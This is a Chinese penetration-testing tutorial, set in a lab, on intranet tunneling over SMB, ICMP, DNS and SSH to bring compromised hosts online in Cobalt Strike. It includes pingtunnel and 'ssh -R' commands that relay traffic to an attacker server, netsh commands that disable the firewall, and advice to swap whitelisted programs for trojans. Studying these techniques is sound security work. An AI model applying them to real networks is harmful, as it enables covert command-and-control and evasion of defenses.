内网安全:隧道技术详解

news2024/12/30 1:41:25

目录

隧道技术

反向连接技术

反向连接实验所用网络拓扑图及说明

网络说明

防火墙限制说明

实验前提说明

实战一:CS反向连接上线 - 拿下Win2008

一. 使用转发代理上线创建监听器

二. 上传后门执行上线

隧道技术 - SMB协议

SMB协议介绍

实战二:SMB协议搭建隧道 正向连接 - 拿下win 2012

一. 生成SMB后门

二. 横向移动

三. 上线CS

隧道技术 - ICMP协议

关于ICMP协议

ICMP隧道搭建

一. 靶机TCP流量转发本地端口并封装进入ICMP协议

二. 取得TCP流量上线CS

隧道技术 - DNS协议

DNS协议

DNS协议搭建隧道网络拓扑图

实战三:DNS协议搭建隧道实验

一. 配置域名NS解析

二 . 配置DNS监听器

三. 木马执行上线

补充:DNS协议通讯

隧道技术 - SSH协议

SSH协议

SSH协议搭建隧道网络拓扑图

实战四:SSH搭建隧道通讯

Linux:入站封 走反向

Linux:出站封 走正向

Linux上线CS解决办法

防火墙


本篇文章将介绍在内网攻防中的隧道技术。

本篇涉及的隧道技术:

ICMP,SMB,DNS,SSH

通过这些协议搭建隧道可以解决流量出网的问题,这样做的好处就是可以把已得到权限的主机上线到MSF/CS上面实现持久化控制。

隧道技术

隧道技术是解决流量不出网的问题,利用可以出网的协议封装出网,它通过在原有的网络协议上封装和封装数据包,使得数据能够在两个网络之间进行传输。

隧道技术是一种网络通信的技术手段,用于在不同的网络之间建立安全、可靠的通信连接。它可以扩展网络、穿越防火墙和NAT、提供加密和安全性,是实现VPN等网络功能的重要组成部分。

隧道穿越防火墙:在面对防火墙限制时,隧道技术可以帮助绕过这些限制,使得内部网络能够与外部网络进行通信。它通过将数据封装在可通过防火墙的通信协议上进行传输,达到穿越限制的效果。

比如,防火墙出站设置严格,仅允许ICMP协议通过,我们可以把TCP协议的数据封装进入ICMP协议来出防火墙,实现流量出网。

隧道技术的两个作用

  1. 取得系统权限,搭建隧道实现流量出网,上线CS
  2. 建立通讯,通过隧道技术建立通讯,进行进一步的渗透

我们基本不需要关注第二种作用,因为这些在通讯上的应用往往都比较苛刻,主要在网络这一块应用比较多,在内网安全测试中,主要作用是通过隧道移交权限。

所以有必要声明,文中的实验环境的主机均是取得了系统权限

隧道技术对比代理技术:

  • 代理技术解决了攻击机到内网的访问不到问题,建立通讯
  • 隧道技术解决了被攻击机访问到攻击机的问题,完成上线

建立隧道的流程

  • 判断可利用协议,查看主机上有没有可利用的协议去搭建隧道
  • 使用可出网协议建立隧道

反向连接技术

在我得上一篇代理技术文章中:内网安全:代理技术详解_貌美不及玲珑心,贤妻扶我青云志的博客-CSDN博客

演示了正向连接技术实验,但是有粉丝朋友私信希望可以演示一下反向连接技术,那肯定是要安排!!!

有必要说明一下为什么不推荐使用反向连接的原因:

考虑到在同等条件下,使用隧道技术来替代反向连接更优秀,原因是使用隧道更加隐蔽也能达到上线的效果,而且这些协议搭建的隧道除了SMB协议基本都是反向连接的。

反向连接实验所用网络拓扑图及说明

网络说明

网段情况:Vmware配置网络

攻击机:47.94.236.117 

靶机:

        win 7:内网唯一可出网主机 也可对内网192.168.11.* 网段主机进行通讯

                192.168.1.119 (外网的出口)192.168.11.128(内网Vmware2)

        win 10:内网主机 流量不出网

                192.168.11.129(内网Vmware2)192.168.22.130(内网Vmware3)

        win 2008:内网主机 流量不出网

                192.168.22.131(内网Vmware3)192.168.33.129(内网Vmware4)

        win 2012:内网主机 流量不出网

                192.168.33.130(内网Vmware4)

防火墙限制说明

在win 2008服务器上开启了防火墙,只允许 80 端口 TCP进行通讯

入站限制严格,不可访问外网

在win 2012服务器上开启防火墙,只允许访问打印机

入站限制严格,不可访问外网

实验前提说明

而且MSF/CS的木马走的都是TCP的协议,因为正向连接完全堵死!

在这张网络拓扑图中,我们已经取得win7,win10权限,接下来将主要目标是拿下win2008 win 2012

实战一:CS反向连接上线 - 拿下Win2008

出站策略宽松,可以选择TCP协议反向连接

一. 使用转发代理上线创建监听器

在CS上选择和win10的会话

设置监听器,IP-win10:192.168.22.130 PORT:4444

二. 上传后门执行上线

拓扑图

隧道技术 - SMB协议

首先,看到win2012入站严格,出站宽松,第一想法肯定是在Win2012上反向连接到win2018上上线CS。但是需要主要到win2008的入站规则严格,从win2012上的流量走向win2008对win2008主机是正向的,是要触发入站规则的。

但是主要到win2012的入站规则里面允许通过访问打印机,可以利用SMB协议建立正向连接来实现win2012流量出网

如何判断?

使用CS直接扫描对方网段的主机的445端口即可,注意在内网要别动静太大

SMB协议介绍

SMB(Server Message Block)协议是一种在计算机网络中共享文件、打印机和其他资源的通信协议。它最初由微软开发,用于在局域网中的计算机之间共享文件和资源,445端口运行

  1. 打印机共享:SMB协议支持打印机的共享,允许用户在网络中使用共享打印机进行打印操作。通过SMB协议,用户可以连接到其他计算机上的共享打印机,并发送打印任务进行打印。

  2. 文件共享:SMB协议允许计算机之间共享文件和目录。通过SMB协议,用户可以在网络中访问其他计算机上的共享文件夹,并进行文件的读取、写入和管理操作。

查看win2012的网络连接信息   netstat -ano

 445端口开放,开启了SMB服务

实战二:SMB协议搭建隧道 正向连接 - 拿下win 2012

判断:进行网络扫描看看有没445端口开放

一. 生成SMB后门

创建监听器

生成后门

二. 横向移动

配置监听器

选择会话

三. 上线CS

拓扑图

这是通过横向移动拿下对方主机权限后搭建SMB协议隧道完成上线控制,通过SMB协议搭建的隧道完成对方流量出网,在CS处上线进行持久化控制。

隧道技术 - ICMP协议

判断:ping 命令走的就是ICMP协议

ICMP协议搭建隧道的实验在前面已经做过,可以参考我得这篇博客:

内网安全:初探隧道技术_貌美不及玲珑心,贤妻扶我青云志的博客-CSDN博客

关于ICMP协议

ICMP(Internet Control Message Protocol,互联网控制报文协议)是一种用于在IP网络中传递控制消息的协议。它是IP协议的一个补充,用于提供网络诊断、错误报告和网络管理等功能。以下是关于ICMP协议的一些重要特点:

  1. 控制消息传递:ICMP协议主要用于在网络中传递控制消息。这些消息可以用于报告错误、提供网络状态信息、请求和响应等。

  2. 错误报告:ICMP协议定义了多种错误报告消息,用于通知源主机或路由器发生的错误或问题。例如,目标不可达、超时、重定向等。

  3. Ping和Traceroute:ICMP协议被广泛用于网络诊断工具,如Ping和Traceroute。Ping工具使用ICMP Echo Request和Echo Reply消息来测试主机之间的可达性和延迟。Traceroute工具利用ICMP Time Exceeded消息来跟踪数据包在网络中的路径。

  4. 路由选择:ICMP协议还包括用于路由选择的消息,如路由器发现和重定向消息。这些消息用于路由器之间的通信,以便更好地选择和更新网络路径。

  5. 报文格式:ICMP消息被封装在IP数据包中进行传输。ICMP报文包括一个固定的报头和一个可变长度的数据字段。报头包含消息类型、代码和校验和等字段。

  6. 安全性:ICMP协议的某些消息类型可能会被用于网络攻击,如Ping洪水攻击和ICMP重定向攻击。因此,在网络环境中应采取适当的安全措施,如防火墙配置和流量过滤,以防止滥用和减少风险。

ICMP协议在互联网中扮演着重要的角色,它提供了诊断和管理网络的能力,使得网络管理员能够监测和排除网络问题。同时,ICMP也为网络设备之间的通信提供了一种可靠的机制。

ICMP隧道搭建

一. 靶机TCP流量转发本地端口并封装进入ICMP协议

CS端配置两个监听器

监听器1:IP:127.0.0.1              PORT:6666

监听器2:IP:192.168.46.66      PORT:7777

使用监听器1生成后门,上传到靶机并执行

同时被攻击机执行这条指令

pingtunnel.exe -type client -l 127.0.0.1:6666 -s 192.168.46.66 -t 192.168.46.66:7777 -tcp 1 -noprint 1 -nolog 1

靶机会把访问攻击机的TCP流量发到自己本地6666端口并封装进ICMP协议再进行发出

二. 取得TCP流量上线CS

攻击机上运行

./pingtunnel -type server

先对收到的ICMP取出TCP流量,完成靶机上线CS!!!

工具地址:GitHub - esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP

隧道技术 - DNS协议

判断:nslookup www.baidu.com      能返会结果,说明DNS可以出网

DNS属于是应用层协议,但是DNS在不同情况下使用的协议不同

DNS在区域传输时使用TCP,域名解析使用UDP

防火墙上禁用的是TCP,DNS协议搭建隧道利用的是域名解析,所以使用的是UDP

DNS协议

DNS(Domain Name System,域名系统)是互联网上用于将域名(例如www.example.com)转换为对应的IP地址的协议。它充当了互联网的“电话簿”,提供了域名与IP地址之间的映射关系。

以下是关于DNS协议的一些重要特点:

  1. 域名解析:DNS协议的主要功能是将用户提供的域名解析为相应的IP地址。当用户在浏览器中输入一个域名时,浏览器会向本地DNS服务器发送DNS查询请求,然后逐级向上查询,直到找到与域名对应的IP地址。

  2. 分布式系统:DNS采用分布式的设计,全球范围内存在多个DNS服务器,分为根服务器、顶级域服务器、权威域服务器和本地DNS服务器。这种分布式架构确保了查询的效率和可靠性。

  3. 查询类型:DNS支持不同类型的查询,包括最常见的A记录查询(将域名解析为IPv4地址)和AAAA记录查询(将域名解析为IPv6地址)。还有其他类型的记录,如CNAME记录(别名记录)、MX记录(邮件交换记录)等。

  4. 域名层次结构:DNS使用了域名层次结构,将域名划分为多个层级,以方便管理和查询。域名从右向左逐级划分,最右边的部分为顶级域(例如.com、.net),左边的部分依次为二级域、三级域,以此类推。

  5. 缓存:为了提高查询效率,DNS服务器会对查询结果进行缓存,将解析结果保存一段时间。当再次查询相同的域名时,可以直接返回缓存的结果,而不需要重新查询。

  6. DNSSEC:DNSSEC(DNS Security Extensions)是一种对DNS进行安全增强的扩展协议。它提供了对DNS查询和响应进行数字签名的机制,以防止DNS劫持和欺骗攻击。

DNS协议在互联网中扮演了重要的角色,它使得用户可以使用易记的域名访问网站,而不需要记住复杂的IP地址。同时,DNS也为互联网的安全性和可靠性提供了基础支持。

DNS协议搭建隧道网络拓扑图

实战三:DNS协议搭建隧道实验

原理

在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。但其本质问题是,预期的返回结果应该是一个IP地址,而事实上不是一返回的可以是任意字符串,包括加密的 C&C指令 (管理僵尸网络进行APT攻击的指令)

一. 配置域名NS解析

需要准备一个域名并配置两条NS解析,NS解析将子域名指定其它DNS解析

当解析ns1.whgojp.top域名就会让DNS解析cs.whgojp.top,最终解析为一个IP

这个IP是我们CS服务器的地址

二 . 配置DNS监听器

三. 木马执行上线

使用这个监听器生成后门,上传对方服务器并执行

点击进去输入命令,建立DNS联系

上线CS

补充:DNS协议通讯

DNS协议也有在通讯方面的应用,但是个人感觉太鸡肋,因为实现DNS通讯需要权限,都有高权限了直接上线即可,还建立什么通讯。所以这种通讯在内网渗透没有什么价值,在内网穿透可能有些价值。

隧道技术 - SSH协议

CS上无法使用这个隧道技术进行上线,想要使得Linux上线需要使用别的工具。

但是SSH隧道在通讯上具有一定的意义

SSH协议

SSH(Secure Shell,安全外壳协议)是一种用于在不安全网络上安全地进行远程登录和数据传输的网络协议。它通过加密通信和身份验证机制,提供了保密性、完整性和身份认证等安全功能。以下是关于SSH协议的一些重要特点:

  1. 远程登录:SSH协议最常见的用途是远程登录到远程计算机系统上。通过SSH协议,用户可以在本地计算机上通过终端访问和操作远程计算机,就像直接在远程计算机上操作一样。

  2. 加密通信:SSH协议使用加密算法来保护通信的机密性和完整性。它通过对传输的数据进行加密,防止被第三方窃听和篡改。常见的加密算法包括AES、3DES、RC4等。

  3. 身份认证:SSH协议支持多种身份认证方式,例如基于密码的身份认证、公钥身份认证和证书身份认证等。公钥身份认证是最常用的方式,它使用公钥和私钥来实现身份验证和加密通信。

  4. 端口转发:SSH协议还支持端口转发功能,可以将本地计算机的某个端口映射到远程计算机,从而实现本地和远程计算机之间的安全通信。

  5. 文件传输:SSH协议提供了安全的文件传输功能,即SCP(Secure Copy)和SFTP(SSH File Transfer Protocol)。这些功能允许用户在本地计算机和远程计算机之间传输文件,并确保传输过程的安全性。

  6. X11转发:SSH协议支持X11图形界面的远程显示功能,允许用户在远程计算机上运行图形应用程序,并将图形界面显示在本地计算机上。

SSH协议是一种广泛使用的安全协议,适用于远程管理、文件传输、远程终端访问等场景。它提供了强大的安全性和可靠性,使得远程计算机之间的通信变得更加安全和便捷。

SSH协议搭建隧道网络拓扑图

已经拿下了Linux主机的权限,借助Linux主机搭建SSH隧道探针Linux所在的内网

Linux开启SSH协议登录:

vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart

实战四:SSH搭建隧道通讯

这个隧道搭建的意义就在于可以实现对内网的探针

Linux:入站封 走反向

将本地访问1.16 8080端口的流量发给47.94.236.117 1234端口上

ssh -CfNg -R 1122:192.168.1.16:8080 root@47.94.236.117

这个需要公网服务器的密码,利用条件很低

 公网服务器访问本地1234端口

Linux:出站封 走正向

将本地访问1.16 8080端口的流量转发至本地1122端口

ssh -CfNg -L 1122:192.168.1.16:8080 root@192.168.1.166

在这台Linux上访问本地1122端口即可

Linux上线CS解决办法

项目地址:GitHub - gloxec/CrossC2: generate CobaltStrike's cross-platform payload

面向Linux Mac IOS Android系统上线支持
        插件使用,命令使用

使用参考:https://gloxec.github.io/CrossC2/zh_cn/

  1. 下载对应版本加载器和CNA插件
  2. 上传加载器文件和本地加载CNA插件
  3. 修改CNA插件配置路径及上传Key文件
  4. 使用命令或插件绑定HTTPS监听器生成

根据CS服务系统类型选择插件,我的是Linux,下载Linux即可

上传至你的CS目录下

 还有这两个文件,从CS客户端加载,在windows上加载

目前支持反向的HTTPS和正向的TCP

创建监听器

反向上线

在CS上有这个文件

生成后门,在system处可以选择系统

服务端生成后门文件

 上线

 通过程序进行上线,更方便一些

防火墙

当我们拿下服务器权限后,防火墙过滤极端严格,隧道不管用,还有办法,选择干掉防火墙。当然风险还是很大的。

可以直接关闭防火墙,删除规则,或者替换

建议尝试替换,动静较小,有的程序把自己放入白名单中,替换程序

可以把木马与程序进行替换

防火墙相关命令:

查看当前防火墙状态:netsh advfirewall show allprofiles
关闭防火墙:netsh advfirewall set allprofiles state off
开启防火墙:netsh advfirewall set allprofiles state on
恢复初始防火墙设置:netsh advfirewall reset
启用桌面防火墙: netsh advfirewall set allprofiles state on
设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
如果设置为拒绝使用blockinbound,blockoutbound

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/617878.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

chatgpt赋能python:Python安装到C盘有什么方便之处?

Python安装到C盘有什么方便之处? 在进行Python编程时,安装Python到C盘是一个非常常见的做法。那么,将Python安装到C盘有哪些好处呢?下面,让我们来一一介绍。 1. 方便快捷 安装Python到C盘的好处之一就是非常方便&am…

chatgpt赋能python:Python安装etree:提高XML处理效率的关键

Python安装etree:提高XML处理效率的关键 在Python开发中,XML是一种常用的数据格式。然而,Python标准库自带的ElementTree在大规模数据处理时可能会出现效率低下的情况。因此,我们可以使用第三方模块etree来提高XML处理的效率。 …

案例37:基于Springboot旅游网站系统开题报告设计

博主介绍:✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专…

Linux内核文件读取流程

本文代码基于Linux5.10。 当上层调用read函数读取一个文件时, Linux 内核究竟如何处理? 本文主要介绍这个问题 数据结构 address_space linux 的文件在磁盘上可能是不连续的, 但文件读取又需要将文件当成一个连续的字节流, 为…

大学物理(上)-期末知识点结合习题复习(1)——运动的描述(两类运动学知识点、圆周运动知识点、相对运动知识点)

目录 运动的描述 两类运动知识点 题1 题目描述 题解 题2(第一类问题) 题目描述 题解 题3(第二类问题) 题目描述 题解 题4 题目描述 题解 圆周运动知识点 题5 题目描述 题解 相对运动知识点 题6 题目描述…

【通知】关于SRRC认证无线电发射设备型号核准的通知

关于SRRC认证 无线电发射设备型号核准简称型号核准或SRRC,由工业和信息化部无线电管理局受理,中华人民共和国工业和信息化部审批发证。型号核准是指在无线电发射设备投入使用前的研制、生产、进口、购置等环节,对其频谱参数技术指标依法进行…

图文直播功能(互动功能接收端JS-SDK)

图文直播 功能概述 图文直播,即用直播画面与说明文字的形式,以时间轴方式完整详细地记录整场活动/课堂。 当用户错过直播的开始时间,中途进入直播,可通过图文直播的记录对错过的直播进行回顾了解,实现直播信息的有效…

【SpringBoot】SpringBoot Controller接收参数的常用方式

在Controller中加入RestController,效果等于Controller ResponseBody。 1 请求路径参数 直接把表单里面的参数写进 Controller 相应方法的形参中去,这个获取参数的方法适合get提交,而不适合post提交。 PathVariable获取(这个当然不分get和…

Flask学习笔记(1)创建RESTful API

从本文起,笔者将会更新一系列Flask学习笔记。   本文将会讲述在Flask中如何创建RESTful API。在此之前,我们有必要了解下什么是RESTful架构。 RESTful架构 RESTful架构自从2000年被Roy Feilding提出后就受到广泛关注,并被成功地应用于成千…

美国同事的那些离职类型

这次公司的裁员是教科书基本的真的是没错。 但是美国同事的心态和离职类型也让人打开眼界。 后来在公司同事建立的被裁群中才了解到,PM 组也是重灾区,也超过了 50%,不少在公司工作超过 5 年的 PM 都被毫不留情的裁掉了。 就算这次勉勉强强被…

怎么实现常用网络接口自动化测试框架应用?

一、RESTful(resource representational state transfer)类型接口测试 (一)GUI界面测试工具:jmeter 1、添加线程组 2、添加http请求 3、为线程组添加察看结果树 4、写入接口参数并运行 5、在查看结果树窗口查看结果 6、多组数据可增加CSVDat…

达梦主备守护集群介绍

DM数据守护一主一备或一主多备是一种集成化的高可用、高性能数据库解决方案,是数据库异地容灾的首选方案。通过部署 DM 数据守护,可以在硬件故障(如磁盘损坏)、自然灾害(地震、火灾)等极端情况下&#xff0…

javaScript蓝桥杯----收集帛书碎⽚

目录 一、介绍二、准备三、目标四、代码五、完成 一、介绍 三叔在外出考古途中⽆意发现了⼀份战国帛书,帛书边缘有被明显裁剪过的痕迹,单从帛书⽚段,提到记录了神秘⽂物的地点,⽆奈帛书不完整,为了早⽇将⽂物带回博物…

chatgpt赋能python:PythonGUI入门指南:如何安装各种GUI工具包

Python GUI入门指南:如何安装各种GUI工具包 如果你是一名Python开发人员,那么你肯定知道GUI是不可或缺的。它是让用户和程序之间进行交互的一种方法。在Python中,有很多GUI工具包可以选择。但是,安装它们可能会让人感到困惑。在这…

短视频矩阵系统源码

短视频矩阵源码是一种基于短视频技术开发的软件源代码,它包含了短视频录制、编辑、发布以及播放等模块的实现。该源码可以为开发者提供一个快速搭建短视频应用的基础架构,帮助开发者节省大量的时间和精力,同时提高了应用的开发效率和质量。通…

PCL 三角插值

文章目录 一、简介二、实现代码三、实现效果参考资料一、简介 地理信息中经常会用到三角插值这种方式来获取指定位置的高程值。其原理如下所述: 假设有一个三角形是这样的: 此外,假设每个顶点(角)都有某种关联值。例如:假设每个顶点都有一个相关联的颜色(或高程值等)。这个…

ubuntu16+nvidia驱动+cuda+an +pytorch安装

一、ubuntu16.04 通过镜像安装 二、nvidia驱动 1、 命令行输入 ubuntu-drivers devices 会出现可以安装以及推荐的驱动,后面带recommended就是推荐的版本 2、安装 驱动 sudo apt-get install nvidia-465 3、不过我安装的是384的版本,安装好后输入 nvid…

【JavaSE】Java(五十二):核心要点总结

文章目录 1. java中普通类和抽象类有哪些区别2. 接口和抽象类有什么区别3. java中的IO流分为几种4. BIO、NIO、AIO 有谁没区别5. Files 的常用方法有哪些 1. java中普通类和抽象类有哪些区别 Java中普通类(也就是非抽象类)和抽象类有以下几个区别&#x…

chatgpt赋能python:Python如何算圆的面积

Python如何算圆的面积 在数学中,一个圆的面积通过以下公式计算:S πr,其中S是圆的面积,r是圆的半径,π是一个常数,约等于3.14。 Python是一种用于编写高级程序的解释型编程语言。作为一种动态语言&#…

chatgpt赋能python:Python如何自动换行

Python如何自动换行 在Python编程中,有时候我们需要输出很长的文本或字符串,这时候就需要自动换行的功能。本文将介绍Python中实现自动换行的几种方法。 方法一:使用字符拼接 在Python中,我们可以使用"“来拼接字符串。如…